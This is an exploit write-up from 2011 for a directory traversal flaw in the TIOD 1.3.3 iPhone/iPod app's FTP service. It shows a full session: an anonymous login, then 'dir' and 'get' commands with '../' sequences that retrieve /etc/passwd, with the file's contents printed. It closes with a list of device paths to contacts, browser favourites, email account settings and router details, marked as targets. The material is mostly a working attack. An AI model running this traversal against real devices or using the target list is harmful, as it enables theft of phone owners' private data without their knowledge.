iOS TIOD 1.3.3 - Directory Traversal

# Exploit Title: TIOD v1.3.3 for iPhone / iPod touch, Directory Traversal
# Date: 03/03/2011
# Author: R3d@l3rt, H@ckk3y
# E-Mail : R3dal3rt.team [at] gmail [dot] com
# Twitter : http://twitter.com/R3dAl3rtTeam
# Software Link: http://itunes.apple.com/kr/app/idocmanager/id404412400?mt=8
# Version: 1.3.3
# Tested on: iPhone, iPod 3GS with 4.2.1 firmware  

# There is directory traversal vulnerability in the TIOD.  
# Exploit Testing


C:\>ftp
ftp> open 192.168.0.70
Connected to 192.168.0.70.
220 Service ready for new user.
User (192.168.0.70:(none)): anonymous
331 Send e-mail address as password.
Password:
230 User logged in, proceed.
ftp> dir
200 Command okay.
150 About to send file list.
total 0
drwxr-xr-x   2 501      501            68 Feb 14 12:39 CAMERAROLL
226 Transfer complete.
ftp: 76 bytes received in 0.01Seconds 5.07Kbytes/sec.
ftp> dir ../../../../../../etc/passwd
200 Command okay.
150 About to send file list.
total 0
-rw-r--r--   1 0        0             785 Jan 11 20:14 ../../../../../../etc/pas
swd
226 Transfer complete.
ftp: 94 bytes received in 0.00Seconds 94000.00Kbytes/sec.
ftp> get ../../../../../../etc/passwd
200 Command okay.
150 About to open data connection.


C:\>type passwd
#
# 4.3BSD-compatable User Database
#
# Note that this file is not consulted for login.
# It only exisits for compatability with 4.3BSD utilities.
#
# This file is automatically re-written by various system utilities.
# Do not edit this file.  Changes will be lost.
#
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
mobile:*:501:501:Mobile User:/var/mobile:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
_wireless:*:25:25:Wireless Services:/var/wireless:/usr/bin/false
_securityd:*:64:64:securityd:/var/empty:/usr/bin/false
_mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false
_sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false
_unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false

C:\>


# IPhone inside information

1. Phone Book
 - /private/var/mobile/Library/AddressBook/AddressBook.sqlitedb
     
2. Safari Favorites List
 - /private/var/mobile/Library/Safari

3. Users E-mail Information
 - /private/var/mobile/Library/Preferences/com.apple.accountsettings.plist

4. IPv4 Router Information
 - /private/var/mobile/Library/Preferences/com.apple.conference.plist